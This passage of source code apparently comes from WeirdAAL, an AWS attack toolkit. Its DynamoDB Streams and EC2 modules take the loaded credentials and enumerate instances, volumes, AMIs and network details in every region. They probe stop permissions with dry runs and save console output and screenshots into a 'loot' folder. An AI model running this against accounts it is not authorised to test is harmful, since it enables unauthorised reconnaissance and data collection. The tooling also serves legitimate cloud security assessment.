print("AttributeDefinitions: {}" .format(response['Table']['AttributeDefinitions']))
print("ProvisionedThroughput: {}" .format(response['Table']['ProvisionedThroughput']))
print("TableSizeBytes: {}" .format(response['Table']['TableSizeBytes']))
print("TableName: {}" .format(response['Table']['TableName']))
print("TableStatus: {}" .format(response['Table']['TableStatus']))
print("KeySchema: {}" .format(response['Table']['KeySchema']))
print("ItemCount: {}" .format(response['Table']['ItemCount']))
print("CreationDateTime: {}" .format(response['Table']['CreationDateTime']))
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDeniedException':
print('{} : Does not have the required DescribeTable permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

View File

@@ -0,0 +1,53 @@
'''
dynamoDBstreams functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import os
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_dynamodbstreams():
'''
Use list_streams function in dynamodbstreams to list available streams
'''
print("### Printing DynamoDBstreams ###")
try:
for region in regions:
client = boto3.client('dynamodbstreams', region_name=region)
response = client.list_streams()
if response.get('Streams') is None:
print("{} likely does not have DynamoDB permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Streams']) <= 0:
print("[-] ListStreams allowed for {} but no results [-]" .format(region))
else:
print("### {} DynamoDB Streams ###" .format(region))
for streams in response['Streams']:
pp.pprint(streams)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

852
libs/aws/ec2.py Normal file
View File

@@ -0,0 +1,852 @@
'''
EC2 functions for WeirdAAL
'''
import base64
import boto3
import botocore
import datetime
import os
import pprint
import sys
import time
from libs.aws.sql import *
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-northeast-3', 'ap-south-1', 'ap-southeast-1', 'ap-southeast-2', 'ca-central-1', 'cn-north-1', 'cn-northwest-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'sa-east-1', 'us-gov-west-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def review_encrypted_volumes():
'''
EC2 review encrypted volumes (describe volumes and check to see if encrypted or not)
'''
print("Reviewing EC2 Volumes... This may take a few....")
not_encrypted = []
encrypted = []
try:
with open("{}-volumes_list.txt" .format(AWS_ACCESS_KEY_ID), "w") as fout:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_volumes(Filters=[{
'Name': 'status',
'Values': ['in-use']
}])['Volumes']
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
for volume in response:
if volume['Encrypted']:
encrypted.append(volume['VolumeId'])
else:
not_encrypted.append(volume['VolumeId'])
fout.write("\nEncrypted: " + str(volume['Encrypted']))
for attachments in volume['Attachments']:
fout.write("\nInstance ID: " + attachments['InstanceId'])
fout.write("\nVolume ID: " + volume['VolumeId'])
fout.write("\nRegion: " + region)
fout.write("\n" + "-" * 40)
print("Writing out results")
fout.write("\nNot encrypted: " + str(len(not_encrypted)) + "\n")
fout.write(pprint.pformat(not_encrypted))
fout.write("\nEncrypted: " + str(len(encrypted)) + "\n")
fout.write(pprint.pformat(encrypted))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_instances():
'''
EC2 Describe Instances
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
elif e.response['Error']['Code'] == 'AuthFailure':
print('{} : (AuthFailure) when calling the DescribeInstances -- key is invalid or no permissions.' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
print("[+] Listing instances for region: {} [+]" .format(region))
db_logger = []
for r in response['Reservations']:
db_logger.append(['ec2', 'DescribeInstances', str(r), AWS_ACCESS_KEY_ID, target, datetime.datetime.now()])
for i in r['Instances']:
pp.pprint(i)
# logging to db here
try:
# print(db_logger)
insert_sub_service_data(db_name, db_logger)
except sqlite3.OperationalError as e:
print(e)
print("You need to set up the database...exiting")
sys.exit()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_instances_basic():
'''
Describe EC2 instances:
print("InstanceID: {}, InstanceType: {}, State: {}, Launchtime: {}".format(instanceid, instancetype, state, launchtime))
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
elif e.response['Error']['Code'] == 'AuthFailure':
print('{} : (AuthFailure) when calling the DescribeInstances -- key is invalid or no permissions for region.' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
db_logger = []
for r in response['Reservations']:
# logging the full blob
db_logger.append(['ec2', 'DescribeInstances', str(r), AWS_ACCESS_KEY_ID, target, datetime.datetime.now()])
for i in r['Instances']:
launchtime = i['LaunchTime']
instanceid = i['InstanceId']
instancetype = i['InstanceType']
state = i['State']
print("InstanceID: {}, InstanceType: {}, State: {}, Launchtime: {}".format(instanceid, instancetype, state, launchtime))
# logging to db here
try:
# print(db_logger)
insert_sub_service_data(db_name, db_logger)
except sqlite3.OperationalError as e:
print(e)
print("You need to set up the database...exiting")
sys.exit()
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
next
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def write_instances_to_file():
'''
For each region write the instance IDs to file - AWSKEY-region.txt
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
for r in response['Reservations']:
file = open('{}/loot/{}-{}.txt'.format(os.getcwd(), AWS_ACCESS_KEY_ID, region), "a")
for i in r['Instances']:
instanceid = i['InstanceId']
file.write("{}\n".format(instanceid))
file.close
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def ec2_stop_instance_dryrun(instanceid, region):
'''
Attempt to stop (passing dryrun flag) the specified instanceID on the specififed region
'''
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for permissions to stop instance (DryRun): {} on {} ** no ec2s were hurt during this ** [INFO]" .format(instanceid, region))
response = client.stop_instances(DryRun=True, InstanceIds=['{}'.format(instanceid)])
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions to stop the instance: {}... [+]' .format(AWS_ACCESS_KEY_ID, instanceid))
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling stop_instances -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def ec2_list_launchable_ami():
'''
For each region list launchable AMIs - equivalent to aws ec2 describe-images --executable-users self
per documentation this doenst list AMIs you own.
"The following command lists the AMIs for which you have explicit launch permissions. This list does not include any AMIs that you own."
run ec2_list_owner_ami also to get a list of YOUR account's AMIs
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_images(ExecutableUsers=['self'])
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeImages -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
# print(response)
if len(response['Images']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print(response)
print("[+] Listing AMIs for region: {} [+]" .format(region))
for r in response['Images']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - ' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def ec2_list_owner_ami():
'''
For each region list your AMI's Owners=['self']
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
# response = client.describe_images(Filters=[{'Name': 'is-public','Values': ['False',]},])
response = client.describe_images(Owners=['self'])
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeImages -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
# print(response)
if len(response['Images']) <= 0:
print("[-] DescribeImages allowed for {} but no results [-]" .format(region))
else:
# print(response)
print("[+] Listing AMIs for region: {} [+]" .format(region))
for r in response['Images']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances -- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'OptInRequired':
print('{} : Has permissions but isnt signed up for service - ' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_instance_volume_details():
'''
show volumes sorted by instanceId ex: instanceID-->multiple volumes less detail than get_instance_volume_details2
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
instances = client.describe_instances()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the Describeinstances -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
for r in instances['Reservations']:
for i in r['Instances']:
volumes = client.describe_instance_attribute(InstanceId=i['InstanceId'], Attribute='blockDeviceMapping')
print("Instance ID: {} \n" .format(i['InstanceId']))
pp.pprint(volumes)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_instance_volume_details2():
'''
show volumes by instanceId but instanceID->volume1 of ID, instanceID->volume2 of ID but more details.
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_volumes(Filters=[{
'Name': 'status',
'Values': ['in-use']
}])['Volumes']
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have the required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
for volume in response:
print("InstandID:{} \n" .format(volume['Attachments'][0]['InstanceId']))
pp.pprint(volume)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have the required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_addresses():
'''
Describe EC2 addresses (loop through all regions)
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_addresses()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeAddresses -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if response.get('Addresses') is None:
print("{} likely does not have EC2 permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Addresses']) <= 0:
print("[-] DescribeAddresses allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing Addresses for region: {} [+]" .format(region))
for r in response['Addresses']:
pp.pprint(r)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances-- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_network_interfaces():
'''
Describe EC2 network interfaces (loop through all regions)
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_network_interfaces()
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if response.get('NetworkInterfaces') is None:
print("{} likely does not have EC2 permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['NetworkInterfaces']) <= 0:
print("[-] DescribeNetworkInterfaces allowed for {} but no results [-]" .format(region))
else:
# print(response)
print("[+] Listing Network Interfaces for region: {} [+]" .format(region))
for r in response['NetworkInterfaces']:
pp.pprint(r)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances-- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def describe_route_tables():
'''
Describe EC2 route tables (loop through all regions)
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_route_tables()
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if response.get('RouteTables') is None:
print("{} likely does not have EC2 permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['RouteTables']) <= 0:
print("[-] DescribeRouteTables allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing Route Tables for region: {} [+]" .format(region))
for r in response['RouteTables']:
pp.pprint(r)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeInstances-- sure you have ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_screenshot(instanceid, region):
'''
Get console screenshot of the specified InstanceID in the specified region
'''
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to screenshot: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_screenshot(DryRun=True, InstanceId=instanceid, WakeUp=True)
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the screenshot attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_screenshot(DryRun=False, InstanceId=instanceid, WakeUp=True)
print('[+] Writing screenshot to screenshots/{}.png [+]'.format(instanceid))
file = open('{}/screenshots/{}.png'.format(os.getcwd(), instanceid), "wb")
file.write(base64.b64decode(response['ImageData']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_screenshot_all():
'''
loop through all regions and attempt to screenshot
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling describe_instances -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
for r in response['Reservations']:
for i in r['Instances']:
instanceid = i['InstanceId']
if i['State']['Name'] == "running":
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to screenshot: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_screenshot(DryRun=True, InstanceId=instanceid, WakeUp=True)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the screenshot attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_screenshot(DryRun=False, InstanceId=instanceid, WakeUp=True)
print('[+] Writing screenshot to screenshots/{}.png [+]'.format(instanceid))
file = open('{}/screenshots/{}.png'.format(os.getcwd(), instanceid), "wb")
file.write(base64.b64decode(response['ImageData']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_screenshot_all_region(region):
'''
Attempt to get screenshots of all EC2 instances in a specified region
'''
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
for r in response['Reservations']:
for i in r['Instances']:
instanceid = i['InstanceId']
if i['State']['Name'] == "running":
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to screenshot: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_screenshot(DryRun=True, InstanceId=instanceid, WakeUp=True)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the screenshot attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_screenshot(DryRun=False, InstanceId=instanceid, WakeUp=True)
print('[+] Writing screenshot to screenshots/{}.png [+]'.format(instanceid))
file = open('{}/screenshots/{}.png'.format(os.getcwd(), instanceid), "wb")
file.write(base64.b64decode(response['ImageData']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InvalidInstanceID.NotFound':
print('{} : instance not found' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_screenshot_all_region_list(file, region):
'''
Read a list of ec2 instanceIDs and attempt to screenshot them. They need to be in the same region
see write_instances_to_file to get a list of instances by region
'''
try:
client = boto3.client('ec2', region_name=region)
alist = [line.rstrip() for line in open(file)]
for line in alist:
try:
print("[INFO] Checking for required permissions to screenshot: {} on {} [INFO]" .format(line, region))
response = client.get_console_screenshot(DryRun=True, InstanceId=line, WakeUp=True)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the screenshot attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_screenshot(DryRun=False, InstanceId=line, WakeUp=True)
print('[+] Writing screenshot to screenshots/{}.png [+]'.format(line))
file = open('{}/screenshots/{}.png'.format(os.getcwd(), line), "wb")
file.write(base64.b64decode(response['ImageData']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Message'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InternalError':
print('{} : Has permissions but an internal error occured - check manually' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the DescribeVolumes -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_output(instanceid, region):
'''
Attempt to get console output for specified instanceID and region
'''
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to get console output: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_output(DryRun=True, InstanceId=instanceid)
# print(response)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the console output attempt [+]' .format(AWS_ACCESS_KEY_ID))
response = client.get_console_output(DryRun=False, InstanceId=instanceid)
print('[+] Writing console output to loot/{}-console.txt [+]'.format(instanceid))
file = open('{}/loot/{}-console.txt'.format(os.getcwd(), instanceid), "w")
file.write(str(response['Output']))
file.close
# print(response)
elif e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_console_output_all():
'''
loop through all regions and attempt to get console output
'''
try:
for region in regions:
try:
client = boto3.client('ec2', region_name=region)
response = client.describe_instances()
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling get_console_screenshot -- sure you have required ec2 permissions?' .format(AWS_ACCESS_KEY_ID))
sys.exit()
else:
print(e)
if len(response['Reservations']) <= 0:
print("[-] List instances allowed for {} but no results [-]" .format(region))
else:
# print (response)
print("[+] Listing instances for region: {} [+]" .format(region))
for r in response['Reservations']:
for i in r['Instances']:
instanceid = i['InstanceId']
if i['State']['Name'] == "running":
try:
client = boto3.client('ec2', region_name=region)
print("[INFO] Checking for required permissions to get console output: {} on {} [INFO]" .format(instanceid, region))
response = client.get_console_output(DryRun=True, InstanceId=instanceid)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'DryRunOperation':
print('[+] {} : Has permissions...proceeding with the console output attempt [+]' .format(AWS_ACCESS_KEY_ID))
